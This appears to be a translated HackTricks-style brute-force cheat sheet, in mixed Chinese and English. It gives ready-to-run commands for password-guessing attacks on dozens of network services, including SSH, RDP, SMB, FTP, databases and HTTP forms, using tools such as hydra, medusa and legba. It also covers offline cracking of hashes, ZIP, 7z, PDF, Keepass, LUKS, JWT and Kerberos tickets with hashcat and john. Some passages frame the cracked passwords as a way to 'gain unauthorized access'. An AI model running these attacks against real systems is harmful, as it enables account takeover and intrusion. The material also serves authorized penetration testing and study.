Brute Force - CheatSheet

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默认凭据

在谷歌中搜索正在使用的技术的默认凭据，或者尝试这些链接：

创建您自己的字典

尽可能多地了解目标的信息，并生成自定义字典。可能有所帮助的工具：

Crunch

crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%

Cewl

Cewl是一个用于生成自定义字典的工具。

cewl example.com -m 5 -w words.txt

CUPP

根据对受害者的了解（姓名、日期等）生成密码

python3 cupp.py -h

Wister

一个单词列表生成工具，允许您提供一组单词，从给定的单词中创建多个变体，生成一个独特且理想的单词列表，以用于特定目标。

python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

__          _______  _____ _______ ______ _____
\ \        / /_   _|/ ____|__   __|  ____|  __ \
\ \  /\  / /  | | | (___    | |  | |__  | |__) |
\ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
\  /\  /   _| |_ ____) |  | |  | |____| | \ \
\/  \/   |_____|_____/   |_|  |______|_|  \_\

Version 1.0.3                    Cycurity

Generating wordlist...
[########################################] 100%
Generated 67885 lines.

Finished in 0.920s.

字典列表

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服务

按服务名称按字母顺序排列。

nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run

AJP

AJP (Apache JServ Protocol) is a binary protocol that can be used to proxy requests from a web server to a Java application server. It is often used in combination with Apache Tomcat. AJP can be vulnerable to attacks such as brute force, so it is important to secure AJP configurations properly.

nmap --script ajp-brute -p 8009 <IP>

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

AMQP（ActiveMQ，RabbitMQ，Qpid，JORAM和Solace）

legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]

Cassandra

卡桑德拉

nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042

CouchDB

CouchDB是一个开源的NoSQL数据库管理系统，可以使用Brute Force攻击来尝试破解密码。Brute Force攻击是一种尝试所有可能的密码组合直到找到正确密码的方法。攻击者可以使用各种工具和脚本来自动化这一过程。为了防止Brute Force攻击，建议使用强大且复杂的密码，并实施账户锁定机制以限制尝试次数。

msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /

Docker Registry

Docker注册表

hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/

Elasticsearch

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /

FTP

FTP（File Transfer Protocol）是一种用于在网络上传输文件的标准协议。

hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21

HTTP 通用暴力破解

WFuzz

HTTP 基本身份验证

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/

HTTP - NTLM

legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/

HTTP - Post Form

HTTP - 提交表单

hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https

对于https，您必须从"http-post-form"更改为"https-post-form"

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP

IMAP

IMAP (Internet Message Access Protocol) is a standard email protocol that stores email messages on a mail server. When a hacker performs a brute-force attack on an IMAP server, they try to gain unauthorized access by systematically trying all possible combinations of usernames and passwords until the correct one is found. This is a common technique used by hackers to compromise email accounts.

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993

IRC

IRC（Internet Relay Chat）是一种实时互联网通信协议，用于通过文本进行多人聊天。

nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>

ISCSI

nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>

JWT

JSON Web Tokens（JWT）是一种开放标准（RFC 7519），用于在各方之间安全地传输信息。 JSON Web Tokens 可以通过数字签名验证和加密来验证信息的完整性。

#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6

LDAP

LDAP（轻型目录访问协议）是一种用于访问和维护分布式目录信息服务的协议。

nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match

MQTT

MQTT（Message Queuing Telemetry Transport）是一种轻量级的发布/订阅通信协议，常用于物联网设备之间的通信。

ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt

Mongo

nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt

MSSQL

MSSQL是一种常见的关系型数据库管理系统。在渗透测试中，可以使用暴力破解技术来尝试破解MSSQL数据库的凭据。暴力破解是一种尝试所有可能的用户名和密码组合，直到找到正确凭据的方法。

legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433

MySQL

MySQL 是一种流行的关系型数据库管理系统，常用于Web应用程序。

# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306

OracleSQL

patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt

为了使用oracle_login与patator，您需要安装：

pip3 install cx_Oracle --upgrade

离线 OracleSQL 哈希暴力破解（版本 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2, 和 11.2.0.3）:

nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30

暴力破解

hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110

# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl

PostgreSQL

PostgreSQL是一种流行的开源关系型数据库管理系统。

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432

PPTP

您可以从https://http.kali.org/pool/main/t/thc-pptp-bruter/下载.deb软件包进行安装。

sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>

RDP

RDP（Remote Desktop Protocol）是一种用于远程访问和控制计算机的协议。

ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]

Redis

Redis是一个流行的开源内存数据库，通常用于缓存、会话存储和消息代理。Redis数据库通常受到暴力破解攻击的威胁，因此需要采取一些措施来保护它。

msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]

Rexec

Rexec是一种用于在远程系统上执行命令的协议。

hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V

Rlogin

Rlogin（远程登录）是一种基于文本的远程登录协议，通常用于在网络上远程登录到另一台计算机。

hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V

Rsh

Rsh（远程shell）是一种基于文本的远程登录协议，可用于在网络上执行命令。由于其不加密的特性，Rsh协议容易受到中间人攻击。

hydra -L <Username_list> rsh://<Victim_IP> -v -V

http://pentestmonkey.net/tools/misc/rsh-grind

Rsync

nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>

RTSP

hydra -l root -P passwords.txt <IP> rtsp

SFTP

legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

SNMP

msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp

SMB

SMB（Server Message Block）是一种用于在计算机之间共享文件、打印机和其他资源的网络通信协议。

nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]

SMTP

Simple Mail Transfer Protocol（简单邮件传输协议）

hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]

SOCKS

nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080

SQL Server

SQL Server是一种流行的关系型数据库管理系统（RDBMS），由Microsoft开发。它使用结构化查询语言（SQL）来管理和操作数据库。 SQL Server是许多组织和企业中常用的数据库解决方案之一。

#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT

SSH

SSH（Secure Shell）是一种加密网络协议，用于通过网络安全地访问和管理远程计算机。

hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22

弱SSH密钥 / Debian可预测PRNG

一些系统在用于生成加密材料的随机种子中存在已知缺陷。这可能导致密钥空间大幅缩小，可以使用工具（如snowdroppe/ssh-keybrute）对其进行暴力破解。也可以使用预生成的弱密钥集，例如g0tmi1k/debian-ssh。

STOMP（ActiveMQ、RabbitMQ、HornetQ和OpenMQ）

STOMP文本协议是一种广泛使用的消息传递协议，允许与流行的消息队列服务（如RabbitMQ、ActiveMQ、HornetQ和OpenMQ）进行无缝通信和交互。它提供了一种标准化和高效的方法来交换消息并执行各种消息操作。

legba stomp --target localhost:61613 --username admin --password data/passwords.txt

Telnet

Telnet是一种用于远程登录的网络协议。

hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin

VNC

hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt <IP>
legba vnc --target localhost:5901 --password data/passwords.txt

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst

Winrm

crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

使用 Trickest 轻松构建和自动化由全球最先进社区工具驱动的工作流程。立即获取访问权限：

Automate OffSec, EASM, and Custom Security Processes | Trickest

本地

在线破解数据库

~~http://hashtoolkit.com/reverse-hash?~~ (MD5 和 SHA1)
https://shuck.sh/get-shucking.php (MSCHAPv2/PPTP-VPN/NetNTLMv1，带/不带ESS/SSP以及任何挑战值)
https://www.onlinehashcrack.com/ (哈希值，WPA2 捕获，以及 MSOffice、ZIP、PDF 的存档...)
https://crackstation.net/ (哈希值)
https://md5decrypt.net/ (MD5)
https://gpuhash.me/ (哈希值和文件哈希值)
https://hashes.org/search.php (哈希值)
https://www.cmd5.org/ (哈希值)
https://hashkiller.co.uk/Cracker (MD5、NTLM、SHA1、MySQL5、SHA256、SHA512)
https://www.md5online.org/md5-decrypt.html (MD5)
http://reverse-hash-lookup.online-domain-tools.com/

在尝试对哈希进行暴力破解之前，请查看这些内容。

ZIP

#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip

zip2john file.zip > zip.john
john zip.john

#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack

已知明文 zip 攻击

您需要知道加密 zip 文件中包含的文件的明文（或部分明文）。您可以通过运行以下命令来检查加密 zip 中包含的文件的文件名和文件大小：7z l encrypted.zip 从发布页面下载 bkcrack。

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password

7z

cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z

#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john

PDF

PDF（Portable Document Format）是一种用于呈现文档的文件格式，通常用于跨不同操作系统和设备共享文档。 PDF文件通常由文本、图像、表格和其他多媒体元素组成。

apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf

PDF Owner Password

要破解PDF所有者密码，请查看此链接: https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/

JWT

git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack

#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John

NTLM破解

Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot

Keepass

sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Keberoasting

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

破解LUKS加密

方法1

安装：https://github.com/glv2/bruteforce-luks

bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

方法 2

cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt

另一个Luks BF教程：http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1

Mysql

#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d

PGP/GPG私钥

gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash

Cisco

DPAPI Master Key

使用 https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py 然后运行 john

Open Office Pwd Protected Column

如果您有一个受密码保护的 xlsx 文件，其中包含一个受密码保护的列，您可以取消保护：

将其上传到 Google 云端硬盘，密码将自动删除
手动进行删除：

unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg" saltValue="U9oZfaVCkz5jWdhs9AA8nA" spinCount="100000" sheet="1" objects="1" scenarios="1"/>
# Remove that line and rezip the file
zip -r file.xls .

PFX 证书

# From https://github.com/Ridter/p12tool
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
# From https://github.com/crackpkcs12/crackpkcs12
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx

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工具

哈希示例： https://openwall.info/wiki/john/sample-hashes

哈希标识符

hash-identifier
> <HASH>

字典列表

字典生成工具

kwprocessor: 高级键盘漫步生成器，可配置基本字符、键位图和路径。

kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

John变异

阅读 /etc/john/john.conf 并对其进行配置

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

Hashcat攻击

字典攻击 (-a 0) 使用规则

Hashcat 已经带有一个包含规则的文件夹，但你也可以在这里找到其他有趣的规则。

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule

字典组合器 攻击

可以使用 hashcat 将 2 个字典合并为 1 个。如果列表 1 包含单词 "hello"，第二个包含两行单词 "world" 和 "earth"。将生成单词 helloworld 和 helloearth。

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!

掩码攻击 (-a 3)

# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask

字典 + 掩码 (-a 6) / 掩码 + 字典 (-a 7) 攻击

# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

Hashcat 模式

hashcat --example-hashes | grep -B1 -A2 "NTLM"

Brute Forcing

Brute forcing is a common technique used to crack passwords by systematically trying all possible combinations of characters until the correct one is found. This method can be used to crack Linux hashes stored in the /etc/shadow file.

Tools

There are various tools available for brute forcing passwords, such as John the Ripper, Hashcat, and Hydra. These tools can be used to automate the process of trying different password combinations until the correct one is discovered.

Methodology

Obtain the hash from the /etc/shadow file.
Use a brute force tool to systematically try different password combinations.
Monitor the tool's progress and wait for the correct password to be found.
Once the password is cracked, it can be used to gain unauthorized access to the system.

Resources

500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

Brute Forcing Windows Hashes

Introduction

Brute forcing Windows hashes is a common technique used to crack passwords in Windows environments. This method involves trying all possible combinations of characters until the correct password is found.

Tools

There are various tools available for brute forcing Windows hashes, such as John the Ripper and Hashcat. These tools can be used to automate the process of trying different password combinations quickly and efficiently.

Methodology

Obtain the Windows hash that you want to crack.
Use a brute force tool like John the Ripper or Hashcat to start the password cracking process.
Configure the tool with the necessary parameters, such as character set, minimum and maximum password length, etc.
Start the brute force attack and wait for the tool to find the correct password.
Once the password is cracked, you can use it to gain unauthorized access to the Windows system.

Conclusion

Brute forcing Windows hashes can be a time-consuming process, especially for complex passwords. However, with the right tools and techniques, it is possible to crack Windows passwords and gain access to sensitive information.

3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems

破解常见应用程序哈希值

900 | MD4                                              | Raw Hash
0 | MD5                                              | Raw Hash
5100 | Half MD5                                         | Raw Hash
100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
1400 | SHA-256                                          | Raw Hash
1700 | SHA-512                                          | Raw Hash

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字典列表

服务

AJP

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

AMQP（ActiveMQ，RabbitMQ，Qpid，JORAM和Solace）

Cassandra

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Docker Registry

Docker注册表

Elasticsearch

Elasticsearch

FTP

HTTP 通用暴力破解

WFuzz

HTTP 基本身份验证

HTTP - NTLM

HTTP - NTLM

HTTP - Post Form

HTTP - 提交表单

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

IMAP

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ISCSI

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JWT

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暴力破解

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Rlogin

Rsh

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SNMP

SMB

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SOCKS

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弱SSH密钥 / Debian可预测PRNG

STOMP（ActiveMQ、RabbitMQ、HornetQ和OpenMQ）

Telnet

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VNC

Winrm

本地

在线破解数据库

ZIP

已知明文 zip 攻击

7z

7z

PDF

PDF Owner Password

JWT

NTLM破解

Keepass

Keepass

Keberoasting